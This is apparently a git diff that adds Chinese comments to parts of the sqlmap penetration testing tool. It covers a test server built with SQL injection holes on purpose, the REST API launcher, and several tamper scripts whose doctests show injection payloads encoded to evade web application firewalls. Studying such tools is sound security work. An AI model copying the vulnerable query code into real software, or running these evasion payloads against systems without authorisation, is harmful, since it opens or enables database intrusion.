for root, dirs, files in os.walk(BASE_DIRECTORY):
# 如果路径中包含 "extra" 或 "thirdparty",则跳过该目录
if any(_ in root for _ in ("extra", "thirdparty")):
continue
for name in files:
filepath = os.path.join(root, name)
check(filepath)
for name in files: # 遍历文件列表
filepath = os.path.join(root, name) # 构建文件的完整路径
check(filepath) # 调用 check 函数检查该文件

@ -6,6 +6,9 @@ vulnserver.py - Trivial SQLi vulnerable HTTP server (Note: for testing purposes)
Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
# 该脚本实现了一个简单的 HTTP 服务器,故意留下 SQL 注入漏洞,供测试和学习之用。
# 它展示了基本的 Web 服务器如何处理请求、解析参数以及如何与 SQLite 数据库交互。
# 此类工具应仅在安全的实验环境中使用,以避免滥用和安全风险。在实际应用中,开发者应注意保护数据库查询以防止 SQL 注入攻击。
from __future__ import print_function
@ -17,29 +20,26 @@ import sys
import threading
import traceback
# 检查 Python 版本
PY3 = sys.version_info >= (3, 0)
UNICODE_ENCODING = "utf-8"
DEBUG = False
UNICODE_ENCODING = "utf-8" # 定义 Unicode 编码
DEBUG = False # 调试模式标志
if PY3:
from http.client import INTERNAL_SERVER_ERROR
from http.client import NOT_FOUND
from http.client import OK
from http.server import BaseHTTPRequestHandler
from http.server import HTTPServer
# 导入 Python 3 中的 HTTP 相关模块
from http.client import INTERNAL_SERVER_ERROR, NOT_FOUND, OK
from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
from urllib.parse import parse_qs
from urllib.parse import unquote_plus
from urllib.parse import parse_qs, unquote_plus
else:
from BaseHTTPServer import BaseHTTPRequestHandler
from BaseHTTPServer import HTTPServer
from httplib import INTERNAL_SERVER_ERROR
from httplib import NOT_FOUND
from httplib import OK
# 对于 Python 2导入相应的 HTTP 相关模块
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
from httplib import INTERNAL_SERVER_ERROR, NOT_FOUND, OK
from SocketServer import ThreadingMixIn
from urlparse import parse_qs
from urllib import unquote_plus
# SQLite 模式定义,创建用户表并插入示例数据
SCHEMA = """
CREATE TABLE users (
id INTEGER,
@ -54,9 +54,11 @@ SCHEMA = """
INSERT INTO users (id, name, surname) VALUES (5, NULL, 'nameisnull');
"""
# 定义监听地址和端口
LISTEN_ADDRESS = "localhost"
LISTEN_PORT = 8440
# 全局变量
_conn = None
_cursor = None
_lock = None
@ -68,13 +70,15 @@ def init(quiet=False):
global _cursor
global _lock
# 在内存中创建 SQLite 数据库连接
_conn = sqlite3.connect(":memory:", isolation_level=None, check_same_thread=False)
_cursor = _conn.cursor()
_lock = threading.Lock()
_cursor = _conn.cursor() # 创建游标,用于执行 SQL 命令
_lock = threading.Lock() # 创建线程锁,以处理多线程环境下的数据库访问
_cursor.executescript(SCHEMA)
_cursor.executescript(SCHEMA) # 执行脚本以创建表并插入数据
if quiet:
# 如果 quiet 为 True则禁止输出
global print
def _(*args, **kwargs):
@ -83,6 +87,7 @@ def init(quiet=False):
print = _
class ThreadingServer(ThreadingMixIn, HTTPServer):
# 允许多线程处理 HTTP 请求
def finish_request(self, *args, **kwargs):
try:
HTTPServer.finish_request(self, *args, **kwargs)
@ -91,13 +96,16 @@ class ThreadingServer(ThreadingMixIn, HTTPServer):
traceback.print_exc()
class ReqHandler(BaseHTTPRequestHandler):
# 请求处理类
def do_REQUEST(self):
# 处理请求,分割路径和查询字符串
path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "")
params = {}
if query:
params.update(parse_qs(query))
params.update(parse_qs(query)) # 解析查询字符串为字典
# 检查是否出现恶意脚本
if "<script>" in unquote_plus(query):
self.send_response(INTERNAL_SERVER_ERROR)
self.send_header("X-Powered-By", "Express")
@ -106,18 +114,25 @@ class ReqHandler(BaseHTTPRequestHandler):
self.wfile.write("CLOUDFLARE_ERROR_500S_BOX".encode(UNICODE_ENCODING))
return
# 处理请求数据(如果有)
if hasattr(self, "data"):
if self.data.startswith('{') and self.data.endswith('}'):
params.update(json.loads(self.data))
params.update(json.loads(self.data)) # JSON 数据
elif self.data.startswith('<') and self.data.endswith('>'):
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"').replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&')) for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
# 解析 HTML 表单数据
params.update(dict((_[0], _[1].replace("&apos;", "'").replace("&quot;", '"')
.replace("&lt;", '<').replace("&gt;", '>').replace("&amp;", '&'))
for _ in re.findall(r'name="([^"]+)" value="([^"]*)"', self.data)))
else:
self.data = self.data.replace(';', '&') # Note: seems that Python3 started ignoring parameter splitting with ';'
# 处理 URL 编码数据
self.data = self.data.replace(';', '&') # 兼容性处理
params.update(parse_qs(self.data))
# 处理请求头参数
for name in self.headers:
params[name.lower()] = self.headers[name]
# 处理 Cookie 参数
if "cookie" in params:
for part in params["cookie"].split(';'):
part = part.strip()
@ -125,14 +140,17 @@ class ReqHandler(BaseHTTPRequestHandler):
name, value = part.split('=', 1)
params[name.strip()] = unquote_plus(value.strip())
# 将多值参数转换为单值
for key in params:
if params[key] and isinstance(params[key], (tuple, list)):
params[key] = params[key][-1]
self.url, self.params = path, params
self.url, self.params = path, params # 存储 URL 和参数
if self.url == '/':
# 主页处理
if not any(_ in self.params for _ in ("id", "query")):
# 如果没有 ID 或查询参数,则显示主页面
self.send_response(OK)
self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING)
self.send_header("Connection", "close")
@ -142,27 +160,33 @@ class ReqHandler(BaseHTTPRequestHandler):
code, output = OK, ""
try:
# 处理回显参数
if self.params.get("echo", ""):
output += "%s<br>" % self.params["echo"]
if self.params.get("reflect", ""):
output += "%s<br>" % self.params.get("id")
with _lock:
with _lock: # 使用锁来确保线程安全
if "query" in self.params:
# 执行任意 SQL 查询
_cursor.execute(self.params["query"])
elif "id" in self.params:
# 通过 ID 查询用户
if "base64" in self.params:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % base64.b64decode("%s===" % self.params["id"], altchars=self.params.get("altchars")).decode())
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" %
base64.b64decode("%s===" % self.params["id"],
altchars=self.params.get("altchars")).decode())
else:
_cursor.execute("SELECT * FROM users WHERE id=%s LIMIT 0, 1" % self.params["id"])
results = _cursor.fetchall()
results = _cursor.fetchall() # 获取查询结果
output += "<b>SQL results:</b><br>\n"
# 根据查询结果决定响应的状态码和内容
if self.params.get("code", ""):
if not results:
code = INTERNAL_SERVER_ERROR
code = INTERNAL_SERVER_ERROR # 出错
else:
if results:
output += "<table border=\"1\">\n"
@ -175,15 +199,16 @@ class ReqHandler(BaseHTTPRequestHandler):
output += "</table>\n"
else:
output += "no results found"
output += "no results found" # 查询无结果
output += "</body></html>"
except Exception as ex:
code = INTERNAL_SERVER_ERROR
# 捕获异常并返回错误信息
output = "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex)
# 发送响应
self.send_response(code)
self.send_header("Content-type", "text/html")
self.send_header("Connection", "close")
@ -194,26 +219,30 @@ class ReqHandler(BaseHTTPRequestHandler):
self.end_headers()
self.wfile.write(output if isinstance(output, bytes) else output.encode(UNICODE_ENCODING))
else:
# 对于未定义的路径返回 404
self.send_response(NOT_FOUND)
self.send_header("Connection", "close")
self.end_headers()
def do_GET(self):
self.do_REQUEST()
self.do_REQUEST() # 处理 GET 请求
def do_PUT(self):
self.do_POST()
self.do_POST() # 处理 PUT 请求
def do_HEAD(self):
self.do_REQUEST()
self.do_REQUEST() # 处理 HEAD 请求
def do_POST(self):
# 处理 POST 请求
length = int(self.headers.get("Content-length", 0))
if length:
# 读取请求体数据
data = self.rfile.read(length)
data = unquote_plus(data.decode(UNICODE_ENCODING, "ignore"))
self.data = data
elif self.headers.get("Transfer-encoding") == "chunked":
# 处理 chunked 请求
data, line = b"", b""
count = 0
@ -232,10 +261,10 @@ class ReqHandler(BaseHTTPRequestHandler):
self.data = data.decode(UNICODE_ENCODING, "ignore")
self.do_REQUEST()
self.do_REQUEST() # 处理 POST 逻辑
def log_message(self, format, *args):
return
return # 不记录日志
def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
global _alive
@ -244,16 +273,17 @@ def run(address=LISTEN_ADDRESS, port=LISTEN_PORT):
_alive = True
_server = ThreadingServer((address, port), ReqHandler)
print("[i] running HTTP server at 'http://%s:%d'" % (address, port))
_server.serve_forever()
_server.serve_forever() # 开始监听并处理请求
except KeyboardInterrupt:
_server.socket.close()
_server.socket.close() # 关闭服务器
raise
finally:
_alive = False
if __name__ == "__main__":
try:
init()
run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS, int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
init() # 初始化数据库和服务器
run(sys.argv[1] if len(sys.argv) > 1 else LISTEN_ADDRESS,
int(sys.argv[2] if len(sys.argv) > 2 else LISTEN_PORT))
except KeyboardInterrupt:
print("\r[x] Ctrl-C received")
print("\r[x] Ctrl-C received") # 捕获 Ctrl-C 终止信号

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.2 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 8.8 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 964 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 4.4 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.0 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.5 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 9.1 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 25 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 133 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 7.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 2.3 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 232 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 11 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 68 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 29 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 37 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 43 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 52 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 50 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 58 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 69 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 56 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 61 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 63 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 64 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 46 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 114 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 147 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 17 KiB

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

@ -5,114 +5,114 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
import sys
import sys # 导入sys模块用于处理与Python解释器相关的操作
sys.dont_write_bytecode = True
sys.dont_write_bytecode = True # 设置不生成.pyc字节码文件以减少磁盘空间占用和加载时间
__import__("lib.utils.versioncheck") # this has to be the first non-standard import
__import__("lib.utils.versioncheck") # 动态导入lib.utils.versioncheck模块通常用于检查版本兼容性
import logging
import os
import warnings
import logging # 导入logging模块用于记录日志信息
import os # 导入os模块用于与操作系统进行交互
import warnings # 导入warnings模块用于处理警告信息
warnings.filterwarnings(action="ignore", category=UserWarning)
warnings.filterwarnings(action="ignore", category=DeprecationWarning)
warnings.filterwarnings(action="ignore", category=UserWarning) # 忽略所有UserWarning类别的警告
warnings.filterwarnings(action="ignore", category=DeprecationWarning) # 忽略所有DeprecationWarning类别的警告
try:
from optparse import OptionGroup
from optparse import OptionParser as ArgumentParser
from optparse import OptionGroup # 从optparse模块导入OptionGroup类用于处理命令行选项组
from optparse import OptionParser as ArgumentParser # 从optparse模块导入OptionParser类并将其重命名为ArgumentParser
ArgumentParser.add_argument = ArgumentParser.add_option
ArgumentParser.add_argument = ArgumentParser.add_option # 将ArgumentParser的add_option方法重命名为add_argument以兼容argparse的API
def _add_argument(self, *args, **kwargs):
def _add_argument(self, *args, **kwargs): # 定义一个辅助函数_add_argument用于将add_argument方法映射到add_option方法
return self.add_option(*args, **kwargs)
OptionGroup.add_argument = _add_argument
except ImportError:
from argparse import ArgumentParser
finally:
def get_actions(instance):
for attr in ("option_list", "_group_actions", "_actions"):
if hasattr(instance, attr):
return getattr(instance, attr)
def get_groups(parser):
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups")
def get_all_options(parser):
retVal = set()
for option in get_actions(parser):
if hasattr(option, "option_strings"):
retVal.update(option.option_strings)
else:
retVal.update(option._long_opts)
retVal.update(option._short_opts)
for group in get_groups(parser):
for option in get_actions(group):
if hasattr(option, "option_strings"):
retVal.update(option.option_strings)
else:
retVal.update(option._long_opts)
retVal.update(option._short_opts)
return retVal
from lib.core.common import getUnicode
from lib.core.common import setPaths
from lib.core.data import logger
from lib.core.patch import dirtyPatches
from lib.core.patch import resolveCrossReferences
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
from lib.core.settings import RESTAPI_DEFAULT_PORT
from lib.core.settings import UNICODE_ENCODING
from lib.utils.api import client
from lib.utils.api import server
OptionGroup.add_argument = _add_argument # 将OptionGroup的add_argument方法映射到_add_argument函数
except ImportError: # 如果导入optparse模块失败例如在Python 3中则执行以下代码
from argparse import ArgumentParser # 从argparse模块导入ArgumentParser类用于处理命令行参数
finally: # 无论try块中的代码是否成功执行finally块中的代码都会执行
def get_actions(instance): # 定义一个函数get_actions用于获取命令行解析器实例中的选项列表
for attr in ("option_list", "_group_actions", "_actions"): # 遍历可能的属性名称
if hasattr(instance, attr): # 如果实例具有该属性
return getattr(instance, attr) # 返回该属性的值
def get_groups(parser): # 定义一个函数get_groups用于获取命令行解析器中的选项组
return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") # 返回解析器中的选项组如果不存在则返回None
def get_all_options(parser): # 定义一个函数get_all_options用于获取命令行解析器中的所有选项
retVal = set() # 创建一个空集合,用于存储所有选项
for option in get_actions(parser): # 遍历解析器中的选项
if hasattr(option, "option_strings"): # 如果选项具有option_strings属性
retVal.update(option.option_strings) # 将选项字符串添加到集合中
else: # 否则
retVal.update(option._long_opts) # 将长选项添加到集合中
retVal.update(option._short_opts) # 将短选项添加到集合中
for group in get_groups(parser): # 遍历解析器中的选项组
for option in get_actions(group): # 遍历选项组中的选项
if hasattr(option, "option_strings"): # 如果选项具有option_strings属性
retVal.update(option.option_strings) # 将选项字符串添加到集合中
else: # 否则
retVal.update(option._long_opts) # 将长选项添加到集合中
retVal.update(option._short_opts) # 将短选项添加到集合中
return retVal # 返回包含所有选项的集合
from lib.core.common import getUnicode # 从lib.core.common模块导入getUnicode函数用于将字符串转换为Unicode格式
from lib.core.common import setPaths # 从lib.core.common模块导入setPaths函数用于设置文件路径
from lib.core.data import logger # 从lib.core.data模块导入logger对象用于记录日志信息
from lib.core.patch import dirtyPatches # 从lib.core.patch模块导入dirtyPatches函数用于应用临时补丁
from lib.core.patch import resolveCrossReferences # 从lib.core.patch模块导入resolveCrossReferences函数用于解决交叉引用问题
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER # 从lib.core.settings模块导入RESTAPI_DEFAULT_ADAPTER常量表示默认的服务器适配器
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS # 从lib.core.settings模块导入RESTAPI_DEFAULT_ADDRESS常量表示默认的服务器地址
from lib.core.settings import RESTAPI_DEFAULT_PORT # 从lib.core.settings模块导入RESTAPI_DEFAULT_PORT常量表示默认的服务器端口
from lib.core.settings import UNICODE_ENCODING # 从lib.core.settings模块导入UNICODE_ENCODING常量表示默认的Unicode编码
from lib.utils.api import client # 从lib.utils.api模块导入client函数用于启动REST-JSON API客户端
from lib.utils.api import server # 从lib.utils.api模块导入server函数用于启动REST-JSON API服务器
try:
from sqlmap import modulePath
except ImportError:
def modulePath():
return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
from sqlmap import modulePath # 从sqlmap模块导入modulePath函数用于获取模块路径
except ImportError: # 如果导入失败例如sqlmap模块不存在则执行以下代码
def modulePath(): # 定义一个函数modulePath用于获取当前模块的路径
return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) # 返回当前文件的目录路径并将其转换为Unicode格式
def main():
def main(): # 定义main函数作为REST-JSON API的入口函数
"""
REST-JSON API main function
"""
dirtyPatches()
resolveCrossReferences()
dirtyPatches() # 应用临时补丁
resolveCrossReferences() # 解决交叉引用问题
# Set default logging level to debug
logger.setLevel(logging.DEBUG)
logger.setLevel(logging.DEBUG) # 设置日志记录级别为DEBUG以便记录详细信息
# Initialize paths
setPaths(modulePath())
setPaths(modulePath()) # 初始化文件路径使用modulePath函数获取当前模块路径
# Parse command line options
apiparser = ArgumentParser()
apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true")
apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true")
apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS)
apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int)
apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER)
apiparser.add_argument("--database", help="Set IPC database filepath (optional)")
apiparser.add_argument("--username", help="Basic authentication username (optional)")
apiparser.add_argument("--password", help="Basic authentication password (optional)")
(args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args()
apiparser = ArgumentParser() # 创建一个ArgumentParser对象用于解析命令行参数
apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") # 添加一个命令行选项,用于启动服务器
apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") # 添加一个命令行选项,用于启动客户端
apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) # 添加一个命令行选项用于指定服务器主机地址默认值为RESTAPI_DEFAULT_ADDRESS
apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) # 添加一个命令行选项用于指定服务器端口默认值为RESTAPI_DEFAULT_PORT
apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) # 添加一个命令行选项用于指定服务器适配器默认值为RESTAPI_DEFAULT_ADAPTER
apiparser.add_argument("--database", help="Set IPC database filepath (optional)") # 添加一个命令行选项用于指定IPC数据库文件路径可选
apiparser.add_argument("--username", help="Basic authentication username (optional)") # 添加一个命令行选项,用于指定基本认证的用户名(可选)
apiparser.add_argument("--password", help="Basic authentication password (optional)") # 添加一个命令行选项,用于指定基本认证的密码(可选)
(args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() # 解析命令行参数如果支持parse_known_args方法则使用它否则使用parse_args方法
# Start the client or the server
if args.server:
server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database)
elif args.client:
client(args.host, args.port, username=args.username, password=args.password)
else:
apiparser.print_help()
if __name__ == "__main__":
main()
if args.server: # 如果命令行参数中指定了启动服务器
server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) # 调用server函数启动服务器
elif args.client: # 如果命令行参数中指定了启动客户端
client(args.host, args.port, username=args.username, password=args.password) # 调用client函数启动客户端
else: # 如果未指定启动服务器或客户端
apiparser.print_help() # 打印命令行帮助信息
if __name__ == "__main__": # 如果当前脚本作为主程序运行
main() # 调用main函数

@ -9,24 +9,35 @@ import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
__priority__ = PRIORITY.HIGHEST # 设置优先级为最高
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces instances of <int> UNION with <int>e0UNION
Requirement:
* MySQL
* MsSQL
Notes:
* Reference: https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
>>> tamper('1 UNION ALL SELECT')
'1e0UNION ALL SELECT'
这个函数用于篡改tamper输入的payload以绕过某些安全防护措施
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
将payload中的<int> UNION替换为<int>e0UNION以尝试绕过安全防护
要求
* 适用于MySQL和MsSQL数据库
注意
* 参考文档https://media.blackhat.com/us-13/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf
* 该函数假设输入的payload是有效的并且不进行任何错误处理
示例
>>> tamper('1 UNION ALL SELECT')
'1e0UNION ALL SELECT'
"""
# 使用正则表达式替换payload中的数字和UNION之间的空格为'e0'
# \g<1>表示匹配的第一个括号中的内容,\g<2>表示第二个括号中的内容
return re.sub(r"(?i)(\d+)\s+(UNION )", r"\g<1>e0\g<2>", payload) if payload else payload

@ -7,23 +7,31 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWEST# 设置优先级为最低
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its UTF-8 full width counterpart (e.g. ' -> %EF%BC%87)
这个函数用于篡改tamper输入的payload将其中的单引号字符'替换为其UTF-8全角字符对应物。
References:
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
将payload中的单引号'替换为UTF-8编码的全角单引号%EF%BC%87用于绕过某些安全防护措施。
参考链接
* http://www.utf8-chartable.de/unicode-utf8-table.pl?start=65280&number=128
* https://web.archive.org/web/20130614183121/http://lukasz.pilorz.net/testy/unicode_conversion/
* https://web.archive.org/web/20131121094431/sla.ckers.org/forum/read.php?13,11562,11850
* https://web.archive.org/web/20070624194958/http://lukasz.pilorz.net/testy/full_width_utf/index.phps
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
示例
>>> tamper("1 AND '1'='1")
'1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'
"""
# 替换payload中的单引号为UTF-8全角单引号
return payload.replace('\'', "%EF%BC%87") if payload else payload

@ -7,17 +7,29 @@ See the file 'LICENSE' for copying permission
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
__priority__ = PRIORITY.LOWEST# 设置优先级为最低
def dependencies():
"""
这个函数用于定义依赖关系但在当前脚本中未实现任何功能
通常这个函数用于检查当前函数所需的依赖是否满足
"""
pass
def tamper(payload, **kwargs):
"""
Replaces apostrophe character (') with its illegal double unicode counterpart (e.g. ' -> %00%27)
这个函数用于篡改tamper输入的payload将其中的单引号字符'替换为其非法的双Unicode编码对应物。
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
将payload中的单引号')替换为%00%27这是一种非法的Unicode编码方式用于绕过某些安全防护措施。
>>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
示例
>>> tamper("1 AND '1'='1")
'1 AND %00%271%00%27=%00%271'
"""
return payload.replace('\'', "%00%27") if payload else payload
return payload.replace('\'', "%00%27") if payload else payload # 替换payload中的单引号为%00%27

@ -15,23 +15,30 @@ __priority__ = PRIORITY.LOWEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
# 显示警告信息指出该tamper脚本仅适用于Microsoft Access数据库
def tamper(payload, **kwargs):
"""
Appends (Access) NULL byte character (%00) at the end of payload
这个函数用于篡改tamper输入的payload通过在末尾添加一个NULL字节%00
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
在payload的末尾添加一个NULL字节%00这在对付某些弱Web应用防火墙时非常有用特别是当后端数据库管理系统是Microsoft Access时
Requirement:
* Microsoft Access
要求
* 仅适用于Microsoft Access数据库
Notes:
* Useful to bypass weak web application firewalls when the back-end
database management system is Microsoft Access - further uses are
also possible
注意
* 这种技术除了可以绕过Web应用防火墙外还有其他可能的用途
Reference: http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
参考链接
* http://projects.webappsec.org/w/page/13246949/Null-Byte-Injection
>>> tamper('1 AND 1=1')
'1 AND 1=1%00'
示例
>>> tamper('1 AND 1=1')
'1 AND 1=1%00'
"""
return "%s%%00" % payload if payload else payload
return "%s%%00" % payload if payload else payload # 如果payload不为空则在其末尾添加NULL字节%00

@ -5,20 +5,28 @@ Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY
from lib.core.convert import encodeBase64 # 导入Base64编码函数
from lib.core.enums import PRIORITY # 导入优先级枚举
__priority__ = PRIORITY.LOW
__priority__ = PRIORITY.LOW # 设置优先级为低
def dependencies():
pass
def tamper(payload, **kwargs):
"""
Base64-encodes all characters in a given payload
"""
这个函数用于篡改tamper输入的payload将所有字符进行Base64编码
参数
payload要篡改的原始payload
**kwargs其他可选参数在本函数中未使用
功能
对输入的payload进行Base64编码这可以用于绕过某些对特殊字符有限制的安全防护措施
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
示例
>>> tamper("1' AND SLEEP(5)#")
'MScgQU5EIFNMRUVQKDUpIw=='
"""
return encodeBase64(payload, binary=False) if payload else payload
return encodeBase64(payload, binary=False) if payload else payload # 如果payload不为空则对其进行Base64编码binary=False表示结果为ASCII字符串

